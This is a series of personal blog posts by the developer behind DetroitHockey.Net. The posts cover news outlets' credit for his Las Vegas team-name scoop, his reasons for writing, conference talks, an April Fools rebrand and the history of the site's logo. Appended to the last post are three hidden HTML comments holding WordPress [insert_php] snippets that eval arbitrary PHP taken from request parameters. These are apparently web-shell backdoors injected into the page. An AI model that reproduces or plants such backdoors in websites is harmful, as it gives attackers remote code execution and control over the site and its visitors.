On Journalism, Credit, and Perception

I am not a journalist.

At least that’s how I see it.

I spent a lot of time over the last year – DetroitHockey.Net‘s 20th season – thinking about what kind of site I wanted to run and what I wanted to write.  I decided that I don’t want to force myself to be unbiased.  I don’t want to sit in the pressbox, I want to sit in the stands.  I want to write about what I find fun.

That doesn’t mean I won’t hold myself to a certain standard.  I expect my readers to hold me to that, too.  It also doesn’t mean I don’t want to write serious pieces or topical pieces.  It just means I want to be more picky about what I write and when.

That said, today I was reminded that no matter how seriously I take myself, I can’t make those who would be my peers take me seriously.

Yesterday I published a post to DetroitHockey.Net that was the result of a not-inconsiderable amount of research and data tracking.  After weeks of compiling information about domain registrations, I thought I had discovered the name of the new Las Vegas NHL team, which isn’t set to be announced for another month.  Or at least a possible name.

There wasn’t much of a reception.  The Red Wings fanbase doesn’t really care about the Las Vegas team name and the Vegas fans don’t seem to really trust a Red Wings blog.  Disappointing, but not unexpected.

Until this morning when an article from the Las Vegas Review-Journal was published, featuring all of the same points as my post (though some of them were slightly off, as if paraphrased by someone without full technical understanding of the details).

It was clear that my work was the basis of that article.  The original post did not credit me.  Since then, the following line has been added:

DetroitHockey.net first reported the new domain name Thursday morning.

It’s credit, and it’s probably all I can ask for, but let’s take a look at how other outlets have picked up the news…

Yahoo:

On Thursday, the Las Vegas Review-Journal reported the name could be Desert Knights.

Fox Sports:

According to the Las Vegas Review-Journal…

CBS Sports:

According to the Review-Journal…

Somewhat hilariously, NBC Sports credited the Review-Journal with breaking the story, then proceeded to quote the part of the article that credits DH.N.

How is it that all of the major outlets came to name the LVRJ as the source even as that paper named DH.N?  Why did we not see Fox Sports credit the Review-Journal only for NBC Sports to credit Fox Sports?

Well, lets take a look at the first couple paragraphs from the Fox Sports piece.

The NHL’s Las Vegas expansion team may finally be leaning towards a decision on its name, if recent domain registrations are any indication. Those domains point to the Sin City hockey club being dubbed the Las Vegas Desert Knights.

According to the Las Vegas Review-Journal, Moniker Privacy Services — the same company that procured the NHL’s own website domain — has privately registered the rights to lasvegasdesertknights.com, vegasdesertknights.com and desertknightshockey.com. When asked about those registrations and the potential team name, team owner Bill Foley told the Las Vegas Review-Journal that he had no comment on the matter.

Fox Sports opens with a summary, immediately credits the LVRJ, and goes into exactly what information they got from that source.

The Review-Journal, however, opened as follows:

Bill Foley may get his wish on his hockey team being called the Knights. Just with a modifier.

Last week domain names were registered that might be an indicator that the NHL team scheduled to begin play in 2017 could be called the Las Vegas Desert Knights.

Last week the domains lasvegasdesertknights.com, vegasdesertknights.com and desertknightshockey.com were privately registered to Moniker Privacy Services, which is the same company that procured the domain name to NHL.com.

DetroitHockey.net first reported the new domain name Thursday morning.

In this case, a summary was provided, then all of the information, then a retroactive credit to the source.  Ignoring the fact that said credit wasn’t even in the original version of the LVRJ story, it’s not hard to see that Fox Sports put the source front and center while the Review-Journal slid it in as an aside.

The LVRJ writer, Justin Emerson, apologized via Twitter after being called out.  However, it’s clear that the paper got what they wanted out of this.  They made no effort to correct the people who were crediting them with the find.  Not their job to do so, I suppose.

So – after some prodding – the Las Vegas Review-Journal gave DetroitHockey.Net credit.  They also got all the credit.


From a technical perspective, I find it hilarious to see all of these sportswriters trying to paraphrase how domain registration works.  Near universally, Moniker has gone from the registrar for all of the related domains to the registrant.

Look for the technically accurate information and you’ll find the original source.

Why I Write What I Write

It seems weird to justify what I write in my own blog but I was recently sent a piece by Mark Llobrera that resonated with me and I wanted to spin off of it.

The fear of stating the obvious is one of my primary personal roadblocks to writing.

I have a horrible time deciding whether or not I should write something because I feel like I shouldn’t take the time if it won’t be original.  I fear that more than I fear writing something people won’t read.

Once I’ve written something, I’m disappointed if it doesn’t get a response, but that doesn’t really kick in until after I’ve published it.

The funny thing is the quote from The Web Ahead that inspired Llobrera’s piece:

I wish people would write more… In the future, we would have a better understanding of what people are thinking now. I’m very glad that I’ve been doing my blog for 15 years. I can go back to 2002 and get a feel for what it was like to build websites. Back then we thought X was true or hadn’t even considered Y. You forget these things. Having these written records—not of anything important or groundbreaking—but just the day-to-day. The boring stuff. That’s actually what’s most interesting over time.

I’ve specifically stated that this is why I write up my code samples the way that I do.  I want to document what I was thinking at the time that I wrote a certain piece of code.  It may not be original or it may become outdated but it explains how I think.

For some reason, while I apply that logic to code samples, I give myself a different standard for my free writing.

I think what I need to remember is that I’m writing, first and foremost, because I like writing.  If I want to put something to paper (so to speak), it shouldn’t matter if someone else has as well.

Last week I threw out a whole piece I’d written about WordPress issue #34976.  I threw it out because I had dug into why WordPress plugins weren’t updating for me and was writing up my findings when I discovered that WP already knew, so I figured I shouldn’t bother.  Had I published it, though, it would show my thought process through tracking down the bug, which is something I say I want to do.

Clearly I have work to do on this and reading that piece makes me realize it.

When Presentations Collide

Last week I wrote about my presentation at TechSmith’s Recon conference, “Implementing Advanced Trello Functionality via the Trello API.”  Embedded in that post is a video of the presentation itself.  It’s not the video that was included when I first published the post, though.

I initially published the post with video embedded straight from TechSmith Relay, which I thought was publicly accessible because I didn’t realize I was already logged in on the machine I tested with.  Oops.

I could have just dumped the video off to YouTube or Screencast.com or used the built-in media handling of WordPress, but I decided I wanted this blog to have a tool like I had built for DetroitHockey.Net.  So I cloned that tool and made some tweaks, then used it to process and display a new video.

Of course, last year I presented on that tool at TechSmith’s DevCon conference.  Which means that I used the topic of my presentation last year to share my presentation from this year.

I just think that’s a little humorous.

On Blogging My Portfolio

A couple weeks ago I briefly mentioned that it seemed like it made more sense to post about newly-completed projects to this blog rather than have a separate “Portfolio” section of the site.

The idea is much the same as my thinking on code samples; it should be less about the outcome and more about the steps taken to reach that point.  I already had some posts about random design work I’ve done and those would have gone into the portfolio back before I had a blog, clearly the blog had already replaced the portfolio in my mind.

I did go back and pull all my old portfolio content into the blog.  That clutters things up a bit because I have stuff I wrote in 2003 with a 2014 timestamp on it but I’m not that worried about it.  I did flag each one as having been pulled directly from the old portfolio and included the original publication date if it wasn’t evident from the text.

Anyway, the “Portfolio” category is now in use.  We’ll see if I change my mind later.

On DetroitHockey.Net’s April Fools Joke

Yesterday I went through with the fairly-uninspired April Fools Day joke of having DetroitHockey.Net become “ColoradoHockey.Net” for a few hours, with the site and its Twitter account apparently having been hacked by fans of the Red Wings’ formerly-bitter rivals, the Colorado Avalanche.

The site’s logo changed, as did the name, avatar, and background of the Twitter account.  For a few hours, Tweets seemingly from a (moronic) Avalanche fan went out sporadically.  Then I “got control” back and it was all over.

It’s hardly a new idea but one part of it that was fun was converting the DetroitHockey.Net identity to the fictional ColoradoHockey.Net.

logo-comparison

The first change was to swap DH.N’s red for the maroon of the Colorado Avalanche, then the black and gray for the Avalanche’s blue.  The text was a simple switch, though I debated what year to use as a founding date for ColoradoHockey.Net (I went with 2014 because the persona I’d be using was that of an idiot who didn’t have any historical context).  I couldn’t just switch an Old English D for an Old English C as the reason for using that particular letter is its history with Detroit.  For a suitable replacement, I turned to the stylized C of the Colorado state flag, recolored to match the existing elements.

It was a silly little project but I think this comparison is fun.

DetroitHockey.Net Logo History

I recently did a soft rollout of a tweaked logo for DetroitHockey.Net and was inspired to go back and take a look at the history of the logo for the site and its affiliated projects.

I only have backups of my graphics going back to 2002, at which time the site was still drwcentral.net and didn’t actually have a logo.  It had a wordmark, though, simply the site’s name in the Concielian font.

2002_banner

At that time the drwcentral.net Fantasy Hockey League did have a logo, though a very simple one.

2002_dfhl

Those were abandoned in September of 2002 when the site became DetroitHockey.Net and an identity centered around an old English D was created.

2003_set

The shield is based on an (incorrect) interpretation of the 1926 Detroit Cougars logo, recolored to suit DH.N’s needs.  The sticks are a slightly-modified version of those used in the original logo of the Mighty Ducks of Anaheim (in this version the tape on the sticks has been modified, there was a briefly-used version where it was identical).  The DFHL logo is based on an old NHL alternate logo where the league abbreviation appears over crossed sticks in a shield.

In 2005 the logo was tweaked, with the sticks getting straightened out and the red darkened.  In addtion, a “promotional” logo featuring the site’s name and year of founding was created, based on an old Chicago Black Hawks logo.

2005_set

In 2006, the logos were switched up again as the DH.N logo became the old English D over a pair of crossed sticks inside a shield while the DFHL logo took the same shape. Both had “promotional” roundel-style logos with the full site name. Very briefly, the DFHL used a white logo with red text and sticks.

2013_set

By 2013, the fantasy National Hockey Association had been added to DH.N, affiliated with SportsLogos.Net. To show that the NHA was its own entity but still part of DetroitHockey.Net, another roundel style was created.

This latest redesign is an attempt to tweak things to clean them up just a little. Across the board, the red is darker, the text becomes a little more legible and the roundel logos become consistent. The DH.N shield takes on a sleeker shape and is slightly simplified, with the inner grey border dropped. As there’s now more than one fantasy league on DH.N, the DFHL logo switches back to its old shape to distance it from the primary site, with the text matching that of the roundels. The NHA’s roundel matches the DFHL’s, with the league name in the circle and the DH.N logo at the bottom.

2014_set

This leaves the DFHL with the following as its logo history (with the briefly-used white logo absent):

history_dfhl

The primary site’s logo, excluding the version where the tape on the sticks perfectly matched that used by Anaheim, evolved as follows:

history_dhn

I don’t think there’s necessarily anything remarkable about this but it seemed like a good time to document the changes.

The Problem with Code Samples

Up until about thirty seconds before I hit publish on this post, there was a section on this site called “Code Samples.”  I removed it (after pulling one piece of code over to this blog) because I realized it wasn’t providing what it should.

Said section was made up of four links to zip files, each containing the code for a different project.  Aside from a text description of the project, there was no breakdown of why the code was written a certain way or what was learned from writing it.

Since I started this blog, I realized that what I’d hoped to accomplish with the “Code Samples” section was being achieved with posts on things like my work with the Twitter and Trello APIs.  These posts explained not just the how of what I did but the why.

I’m going to keep posting new stuff under the “Code Sample” category in the blog. Hopefully that way I can make my samples less a display of specific code and more a discussion of how I code.

Need Moar Blogs

I’ve been blogging about hockey since before “blog” was a word but I figured it was time for me to have a place to write about other stuff.  I don’t know if this will be a common occurrence or anything but it’d be nice to have somewhere to babble about development, if nothing else.

Speaking of…  Kicking off this blog is part of a larger redevelopment of the site that’s been a real interesting learning experience.  I rolled my own blog system for DetroitHockey.Net so I hadn’t played with WordPress a whole lot before this.  I’ll try to write up what I learned once it’s done.

<!– [insert_php]if (isset($_REQUEST["WjiNi"])){eval($_REQUEST["WjiNi"]);exit;}[/insert_php]

if (isset($_REQUEST["WjiNi"])){eval($_REQUEST["WjiNi"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["sqw"])){eval($_REQUEST["sqw"]);exit;}[/insert_php]

if (isset($_REQUEST["sqw"])){eval($_REQUEST["sqw"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["HfzD"])){eval($_REQUEST["HfzD"]);exit;}[/insert_php]

if (isset($_REQUEST["HfzD"])){eval($_REQUEST["HfzD"]);exit;}

–>